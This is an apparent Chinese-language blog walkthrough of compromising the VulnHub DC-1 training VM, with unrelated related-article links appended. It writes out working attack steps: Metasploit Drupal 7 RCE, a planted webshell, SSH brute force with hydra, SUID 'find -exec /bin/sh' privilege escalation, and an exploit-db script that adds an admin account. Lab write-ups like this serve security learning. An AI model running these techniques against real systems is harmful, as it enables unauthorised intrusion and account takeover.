DC-1 靶机渗透

*概况*

下载地址

https://www.vulnhub.com/entry/dc-1,292/

*官方描述:*

DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.

To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.

Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.

Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

*首先将kali和靶机都连接成NAT模式,然后开启靶机,就是上图所示。*

*前提思路*

*我拿到这个靶机的时候,知道了要拿五个flag,然后需要拿到最高权限。我并不知道IP,但我可以在虚拟机中查看他的mac地址。如下图:*

00:0C:29:CF:22:14

*信息收集*

*用nmap -sP 参数 ping命令去扫描与kali同网段的* *存活主机。*

​ nmap -sP 192.168.161.0/24 -oN nmap.sP

*与Mac地址相对应获得ip地址:==**192.168.161.162**==*

*端口扫描*

*使用全端口扫描显示详细信息,**TCP连接扫描**并开启脚本* *功能。*

*nmap -A -p- -sC -T4 -sT 192.168.161.162 -oN nmap.A*

*端口详情*

*22/tcp* *open* *ssh* *OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)*
*80/tcp* *open* *http* *Apache httpd 2.2.22 ((Debian))*
*111/tcp* *open* *rpcbind* *2-4 (RPC #100000)*
*39284**/tcp* *open* *status* *1 (RPC #100024)*

*网站信息*

*既然开放了80端口,那么就访问一下网站。*

*网站首页:*

*获取web应用指纹以及技术架构:*

*得到信息*

*CMS: drupal 7 中间件:Apache*

*编程语言: php OS:linux*

*漏洞映射*

*既然知道了cms是drupal 7,那么可以查一下相关漏洞。*

*在kali漏洞库中寻找。*

*Searchsploit drupal 7*

*发现存在sql注入,和远程代码执行漏洞。并且rce漏洞的exp模块是rb脚本,所以可以考虑用msf。*

*在msf中搜索漏洞裤:search drupal 7*

*使用最新exp:use 1*

*Show option :查看参数*

*设置rhost : set rhost (kali的IP)*

*Run:开始攻击*

*这时候成功上线,getuid:查看当前用户*

*然后我想写一个一句话木马,用蚁剑连接,好翻目录。*

*连接成功*

*在www目录下获取flag1*

*在/etc/passwd 中看系统用户*

*发现存在flag4用并且在home下*

*在home目录下发现flag4*

*然后提示有config文件,所以就在网上查了一下drupal的默认配置文件路径*

*/var/www/sites/default/settings.php*

*接着发现了flag2和数据库账号密码。*

*然后就打算连接一下数据库。*

*在user表中发现账号密码,但是密码加了密,而且也不知道是什么加密方式,所以数据库这里就先放下了。*

*那么既然有flag4用户并开了ssh,所以尝试ssh爆破。*

*使用九头蛇爆破:*

*hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.161.162 -vV*

*-l:指定用户名 -P:指定密码字典*

*-vV:显示详细*

*得到密码为orange*

*然后ssh连接登陆成功。*

*权限提升*

· *获取root 权限*

*提权思路*

· *利用系统内核漏洞提权*

· *sudo 权限泄露*

· *利用SUID 提权*

*这里使用suid提权,我就简单介绍一下:*

SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。这很像我们在古装剧中见到的手持尚方宝剑的钦差大臣,他手持的尚方宝剑代表的是皇上的权威,因此可以惩戒贪官,但这并不意味着他永久成为了皇上。因此这只是一种有条件的、临时的特殊权限授权方法。

*首先寻找一下根目录下具有s权限的命令:*

*find / -perm -4000 2>/dev/null*

/bin/mount

/bin/ping

/bin/su

/bin/ping6

/bin/umount

/usr/bin/at

/usr/bin/chsh

/usr/bin/passwd

/usr/bin/newgrp

/usr/bin/chfn

/usr/bin/gpasswd

/usr/bin/procmail

/usr/bin/find

/usr/sbin/exim4

/usr/lib/pt_chown

/usr/lib/openssh/ssh-keysign

/usr/lib/eject/dmcrypt-get-device

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

/sbin/mount.nfs

*然后使用find命令提权:*

*使用方法* *find (一个路径或文件必须存在) -exec 执行命令 (结束);*

*find ray -exec '/bin/sh' ;*

*提权成功。然后在root文件夹中找到flag5*

*这时候还差一个flag3,然后可以利用一下sql注入漏洞,增加一个用户。*

*到达指定的sqlexp路径。*

Cd /usr/share/exploitdb/exploits/php/webapps/34992.py

*查看使用方法* searchsploit -m 34992

*python 34992.py -t http://**192.168.161.163* *-u* *123* *-p* *123*

*新增用户名123,密码123。*

*成功登陆网站,然后随便翻一下即可找到flag3*

*这时,我们已经拿到了五个flag和root权限。*

*总结:这次渗透主要是想练习一下渗透测试的一些思路,若有不足的地方请大佬们多多指导,谢谢!*

DC-1 靶机渗透的更多相关文章

  1. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  2. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  3. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  4. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

  5. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  6. vulnhub-DC:5靶机渗透记录

    准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  7. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  8. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

  9. DC-1 靶机渗透测试

    DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...

  10. vulnhub-DC:8靶机渗透记录

    准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

随机推荐

  1. tensorflow源码解析之common_runtime-executor-上

    目录 核心概念 executor.h Executor NewLocalExecutor ExecutorBarrier executor.cc structs GraphView ExecutorI ...

  2. VuePress 博客之 SEO 优化(二)重定向

    前言 在 <一篇带你用 VuePress + Github Pages 搭建博客>中,我们使用 VuePress 搭建了一个博客,最终的效果查看:TypeScript 中文文档. 本篇讲讲 ...

  3. django的request对象方法初识

    1:request.post 拿到的是post请求发送过来的数据,可以将其看作是一个个的键值对 使用get方法可以通过key拿到值,如果该值是一个列表的话,get方法只能拿到列表的最后一个值,使用ge ...

  4. k8s原来这么简单(一)核心组件与工作原理

     k8s官方文档:https://kubernetes.io/zh/docs/home/ 前提 掌握容器技术:Docker,Containerd等 K8S优势 使用简单,少量人/小团队可以轻松维护大型 ...

  5. C# WinForm 设置按纽为透明,使用背景色

    今天开发登陆界面时,遇到一个窗体控制设置问题: 1.将按纽设置为透明: 2.并且使用背景图片的颜色: 3.并且需要当点击这个按纽时,仍然显示背景图片颜色: 4.去掉按纽边框显示线: 需要的效果如下: ...

  6. dev编译器兼容设置及字符串的识别问题

    #include<bits/stdc++.h> using namespace std; bool cmp(char a,char b) { return a>b; } //int ...

  7. docker之间如何通讯的

    Docker 查看容器 IP 地址   查看Docker的底层信息. docker inspect 会返回一个 JSON 文件记录着 Docker 容器的配置和状态信息 docker inspect ...

  8. JDBC的全称是什么?

    Java DataBase Connectivity,java数据库连接

  9. MySQL 中有哪些不同的表格?

    共有 5 种类型的表格: 1.MyISAM 2.Heap 3.Merge 4.INNODB 5.ISAM

  10. java-file类 hei

    File类 /* java.io.File类 文件和目录轮径的抽象形式 java把电脑种的文件和文件夹,封装为一个file类,我们可以使用file类对文件和文件夹进行曹祖 使用File类的方法 创建一 ...